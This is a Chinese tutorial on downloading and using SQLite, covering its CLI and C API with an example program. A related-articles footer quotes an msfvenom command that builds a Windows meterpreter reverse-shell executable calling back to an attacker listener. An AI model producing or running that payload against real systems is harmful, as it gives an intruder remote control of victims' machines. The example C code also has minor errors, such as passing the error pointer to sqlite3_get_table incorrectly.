SQLite数据库使用指南以及相关API编程

SQLite介绍

  • SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎,被嵌入到所有移动设备和大部分计算机中,并且伴随着无数日常使用的应用程序一起提供。
  • SQLite的文件格式具有稳定性、跨平台性以及向后兼容性,开发者承诺将持续保持这种特性至少到2050年。因其特点,SQLite数据库文件常被用作不同系统间交换丰富内容的容器,并作为一种长期数据归档格式。目前,全球有超过1万亿(1e12)个SQLite数据库处于活跃使用状态。

SQLite相关链接

  • SQLite主页
  • SQLite下载页
  • SQLite github地址

SQLite压缩包介绍及使用

  • 进入到SQLite下载页后,可以看到有很多压缩包。下面简单介绍下这些不同压缩包有什么区别。
    在这里插入图片描述
  • Source Code -> sqlite-amalgamation-3450200.zip
    • 是 SQLite 数据库引擎提供的一个打包形式,它包含了编译 SQLite 库所需的所有 C 源代码文件的合并版本。这个包是为了简化 SQLite 的分发和集成到其他项目中而设计的。
    • 如果想在自己代码中集成SQLite数据库,下载这个包并包含其头文件和源文件即可。
  • Source Code -> sqlite-autoconf-3450200.tar.gz
    • SQLite 的另一种打包形式,它是为方便在类 Unix 系统(如 Linux、BSD、Mac OS X 等)上通过自动配置工具 autoconf 和 make 进行编译和安装而准备的。这个包通常包含了 SQLite 源代码以及用于生成可移植配置脚本(configure)的一系列辅助文件。
    • 这个包主要在Linux系统使用,如果不想集成SQLite源代码,而是集成SQLite的动态库,可以下载这个包在Linux系统上编译。
    • 这个包下载解压后,分别执行以下命令编译安装
    •   ./configure --prefix=${pwd}/_installmakemake install
      
    • 执行完成后,在当前目录的_install目录下就会生成对应的头文件,库文件和可执行程序。
  • Documentation -> sqlite-doc-3450200.zip
    • SQLite的一些说明文档
  • Precompiled Binaries for Linux -> sqlite-tools-linux-x64-3450200.zip
    • 这个包是Linux平台X86架构的可执行程序,如果不需要将SQLite集成到代码中,可以直接下载这个包,在命令行执行SQL命令去操作数据库。
  • Precompiled Binaries for Windows -> sqlite-dll-win-x86-3450200.zip
    • 提供的Windows平台32位动态库
    • 这个包里只有动态库,我们需要借助Visual Studio生成一下静态库,如果安装的是Visual Studio 2015,找到 Microsoft Visual Studio 14.0\VC\bin\lib.exe这个程序,在cmd命令行执行以下命令
    •   "D:\Microsoft Visual Studio 14.0\VC\bin\lib.exe" /def:sqlite3.def /machine:ix86
      
    • 执行成功后,就会生成静态库文件。
  • Precompiled Binaries for Windows -> sqlite-dll-win-x64-3450200.zip
    • 提供的Windows平台64位动态库,如何生成静态库参考上面。
  • Precompiled Binaries for Windows -> sqlite-tools-win-x64-3450200.zip
    • Windows平台可执行程序
    • 如果不想集成SQLite,可以直接下载这个包,在命令行运行程序执行SQL语句操作数据库。
  • Alternative Source Code Formats -> sqlite-src-3450200.zip
    • 这个包未经过预处理的SQLite源代码,它包含完整的源文件树结构,包括所有的C语言源码文件、头文件、Makefile以及其他支持文件。
  • 总结
    • 如果只需要通过命令行,执行SQL语句操作数据库,Linux平台下载这个包 sqlite-tools-linux-x64-3450200.zip,Windows平台下载 sqlite-tools-win-x64-3450200.zip
    • 如果需要把SQLite以代码形式集成到我们的代码工程中,通过SQLite提供的API操作数据库。Windows和类Unix平台都可以直接使用这个包 sqlite-amalgamation-3450200.zip
    • 如果需要把SQLite以库形式集成到我们的代码工程中,类Unix平台下载这个包sqlite-autoconf-3450200.tar.gz去编译,Windows平台下载 sqlite-dll-win-x86-3450200.zip

命令行使用

  • 启动SQLite
    • 直接运行sqlite可执行程序,以Windows为例
      在这里插入图片描述
    • 运行成功后,就进入了数据库,接下来可以执行SQL语句来操作
  • 创建或打开数据库
    • 执行以下命令,就会打开或者一个数据库
    •   .open student.db
      
  • 创建表
    •   CREATE TABLE STUDENT(ID INT PRIMARY KEY NOT NULL, NAME CHAR(128), SCORE INT);
      
  • 插入数据
    •   INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1001, 'JACK', 98);INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1002, 'MARY', 96);INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1003, 'TOM', 96);
      
  • 查询数据
    •   SELECT * FROM STUDENT;
      
      在这里插入图片描述
    • 可以看到表中就有了我们插入的数据。
  • 命令行的使用就不过多介绍,主要是SQL语句的使用。

SQLite API介绍

  • SQLite API编程常用的接口有以下几个
  • sqlite3_open
    •   int sqlite3_open(const char *zFilename, sqlite3 **ppDb)
      
    • 函数功能:打开一个指向 SQLite 数据库文件的连接
    • 参数
      • zFilename:数据库名
      • ppDb : 数据库句柄
    • 返回值:成功返回 SQLITE_OK
  • sqlite3_exec
    •   int sqlite3_exec(sqlite3 *ppDb,  const char *sql,  int (*callback)(void*, int, char**,char**),  void *data,  char **errmsg)
      
    • 函数功能:执行SQL语句,异步接口。
    • 参数
      • ppDb:打开的数据库句柄
      • sql:需要执行的SQL语句
      • callback:回调函数,主要用于查询数据时,在该回调函数中获取数据
        • 参数1:回调函数可通过这个参数把数据传到外部
        • 参数2:查询的数据库表数据一共有多少行
        • 参数3:数据字段名
        • 数据4:数据值
      • data: 传递给回调函数的参数
      • errmsg:执行SQL语句出错时的错误信息
    • 返回值:成功返回 SQLITE_OK
  • sqlite3_get_table
    •   int sqlite3_get_table(sqlite3 *ppDb, const char *sql, char ***pazResult, int *pnRow, int *pnColumn, char **errmsg)
      
    • 函数功能:执行SQL语句,同步接口。
    • 参数
      • ppDb:数据库句柄
      • sql:需要执行的SQL语句
      • pazResult:输出参数,用于存储查询结果的二维字符数组指针
      • pnRow:输出参数,用于接收查询结果的行数
      • pnColumn:输出参数,用于接收查询结果的列数
      • errmsg:执行SQL语句出错时的错误信息
    • 返回值:成功返回 SQLITE_OK
  • sqlite3_close
    •   int sqlite3_close(sqlite3 *db);
      
    • 函数功能:关闭数据库

编程示例

  •   #include <stdio.h>#include "sqlite3.h"int callback(void* para, int columenCount, char** columnValue, char** columnName) {char *stData = (char*)para;// 获取的数据可以在这里保存和处理,也可以通过保存到 para 参数中,在外部保存处理for (int i = 0; i < columenCount; i++) {printf("%s\t%s\n", columnName[i], columnValue[i]);}strcpy(stData, "this is callback");return 0;}int main(){sqlite3 *db = NULL;char *zErrMsg = NULL;char sql[1024] = { 0 };// 打开数据库int rc = sqlite3_open("student.db", &db);if (rc != SQLITE_OK) {printf("open sqlite failed, errMsg: %s.", sqlite3_errmsg(db));return -1;}// 创建表strcpy(sql, "CREATE TABLE STUDENT(ID INT PRIMARY KEY NOT NULL, NAME CHAR(128), SCORE INT);");rc = sqlite3_exec(db, sql, callback, NULL, &zErrMsg);if (rc != SQLITE_OK) {printf("create table failed, errMsg: %s", zErrMsg);sqlite3_free(zErrMsg);sqlite3_close(db);return -1;}// 插入数据strcpy(sql, "INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1001, 'JACK', 98);INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1002, 'MARY', 96);INSERT INTO STUDENT(ID,NAME,SCORE) VALUES (1003, 'TOM', 96);");rc = sqlite3_exec(db, sql, callback, NULL, &zErrMsg);if (rc != SQLITE_OK) {printf("insert data failed, errMsg: %s", zErrMsg);sqlite3_free(zErrMsg);sqlite3_close(db);return -1;}char stData[100] = { 0 };strcpy(sql, "SELECT * FROM STUDENT;");rc = sqlite3_exec(db, sql, callback, stData, &zErrMsg);if (rc != SQLITE_OK) {printf("query data failed, errMsg: %s", zErrMsg);sqlite3_free(zErrMsg);sqlite3_close(db);return -1;}printf("stData = %s\n", stData);// 同步接口char **dbResult;int nRow = 0, nColumn = 0;strcpy(sql, "SELECT * FROM STUDENT;");rc = sqlite3_get_table(db, sql, &dbResult, &nRow, &nColumn, zErrMsg);if (rc != SQLITE_OK) {printf("query data failed, errMsg: %s", zErrMsg);sqlite3_free(zErrMsg);sqlite3_close(db);return -1;}// 打印字段名for (int i = 0; i < nColumn; i++) {printf("%s\t", dbResult[i]);}printf("\n");//打印数据for (int i = nColumn; i <= nRow * nColumn; i += nColumn) {for (int j = 0; j < nColumn; j++) {printf("%s\t", dbResult[i + j]);}printf("\n");}// 释放dbResultsqlite3_free_table(dbResult);sqlite3_close(db);system("pause");return 0;}
    
  • 打印结果
    在这里插入图片描述

参考

  • SQLite教程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统&#xff1a;Windows 10PHPStudy 版本: 8.1.1.3Apache 版本&#xff1a;2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

面向对象的特征

封装、继承和多态。 访问修饰符范围private类内default包内protected包内&#xff0c;非同包子类public公共的 封装 封装是将对象的状态信息隐藏在对象内部&#xff0c;不允许外部程序直接访问到对象内部信息&#xff0c;通过该类中的方法对内部信息进行操作和访问。 继承 继…

如何在数据库中使用sql语言插入数据

在SQL中&#xff0c;你可以使用INSERT INTO语句来添加数据到数据库表中。以下是一个基本示例&#xff0c;说明如何向表中插入数据&#xff1a; 假设你有一个名为students的表&#xff0c;它有以下字段&#xff1a;id, name, age 和 grade。 CREATE TABLE students ( id INT P…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢&#xff1f; 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后&#xff1f; 3 30 &#xff08;330&#xff09;> 30 3 &#xff08;30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…

Linux 安装 Gitblit

1.下载Gitblit 官网地址&#xff1a;Gitblit&#xff0c;目前最新的是1.9.3 2.上传到服务器 ①在服务器上新建目录&#xff1a;/usr/local/gitblit ②将下载的文件上传到服务器&#xff1a;/usr/local/gitblit/gitblit-1.9.3.tar.gz ③解压文件&#xff1a; cd /usr/local…

12、MongoDB -- 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库(传统的同步API编程)

目录 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库&#xff08;传统的同步API编程&#xff09;演示前提&#xff1a;登录单机模式的 mongodb 服务器命令登录【test】数据库的 mongodb 客户端命令登录【admin】数据库的 mongodb 客户端命令 代码演示同步API编…

加速数字化金融转型,小赢卡贷创新服务中小微企业

自2013年党的十八届三中全会正式提出“发展普惠金融”以来,我国普惠金融事业取得了长足发展,但在新发展形势下,普惠金融发展仍面临诸多问题和挑战。 为构建高水平普惠金融体系,进一步推进普惠金融高质量发展,去年10月,国务院印发《关于推进普惠金融高质量发展的实施意见》,意见…

CSS样式文本

提示:本文为学习记录,若有错误,请联系作者,谦虚受教。 文章目录 前言一、CSS二、颜色总结前言 一、CSS .QWidget{border:0px solid #8FBC8F;border-radius:0px;/*background-color:#FFFFFF*/ }QWidget#MainWindow,QWidget#Widget,QWidget#frame_menu,QWidget#eeprom{back…

欧科云链:比特币现货ETF后时代,链上数据揭示真实供需关系

出品&#xff5c;欧科云链研究院 作者&#xff5c;Hedy Bi 本文于3月11日首发TechFlow深潮&#xff0c;原标题为《比特币现货ETF通过后的2个月&#xff1a;链上数据揭示BTC供不应求》。文中观点纯属笔者基于链上数据进行分析&#xff0c;不构成对任何潜在投资目标的推荐或意见…

二刷代码随想录算法训练营第二十五天 | 216.组合总和III 17.电话号码的字母组合

目录 一、216. 组合总和 III 二、17.电话号码的字母组合 一、216. 组合总和 III 题目链接&#xff1a;力扣 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a;和组合问题有啥区别&#xff1f;回溯算法如何剪枝&#xff1f;| LeetCode&#xff1a;216.组合总和III 题目&…

双指针、bfs与图论

1238. 日志统计 - AcWing题库 import java.util.*;class PII implements Comparable<PII>{int x, y;public PII(int x, int y){this.x x;this.y y;}public int compareTo(PII o){return Integer.compare(x, o.x);} }public class Main{static int N 100010, D, K;st…

Wings与c++test自动单元测试

Wings与c test 参考 Wings与c test都是用于生成单元测试驱动框架的工具。两者差异在于以下几点&#xff1a; 1.基本普通类型&#xff0c;wings与c test生成用例大致相同&#xff0c;wings采用随机生成一组或者多组数值&#xff0c;而c test依据临界值生成固定的随机数。 例如…

数字电子技术实验(四)

单选题 1.组合逻辑电路中产生竞争冒险的原因是&#xff1f; A. 电路没有最简化 。 B. 时延 。 C. 电路有多个输出。 D. 逻辑门的类型不同。 答案&#xff1a;B 评语&#xff1a;10分 单选题 2.下列表达式不存在竞争冒险的有&#xff1f; 答案&#xff1a;A 评语&#x…

深度强化学习(七)策略梯度

深度强化学习(七)策略梯度 策略学习的目的是通过求解一个优化问题&#xff0c;学出最优策略函数或它的近似函数&#xff08;比如策略网络&#xff09; 一.策略网络 假设动作空间是离散的,&#xff0c;比如 A { 左 , 右 , 上 } \cal A\{左,右,上\} A{左,右,上}&#xff0c;策…

【零基础学习06】嵌入式linux驱动中PWM驱动基本实现

大家好,今天给大家分享一下,如何利用PWM外设来实现LCD背光调节,本次实验使用Linux系统中PWM控制器以及PWM子系统来控制对应的功能。 第一:设备树下PWM控制节点 PWM对应的节点信息如下: pwm3: pwm@02088000 {compatible = "fsl,imx6ul-pwm", "fsl,imx27-pwm…

Linux(ubuntu) 安装kotlin

Kotlin 是一种基于 Java 语言的静态类型编程语言&#xff0c;它可以运行于 JVM 上 1. 安装 Java Development Kit (JDK) Kotlin 运行于 JVM 上&#xff0c;所以首先需要安装 Java Development Kit&#xff08;JDK&#xff09; Ubuntu 或 Debian 系统 以ubuntu22.04为例 sudo…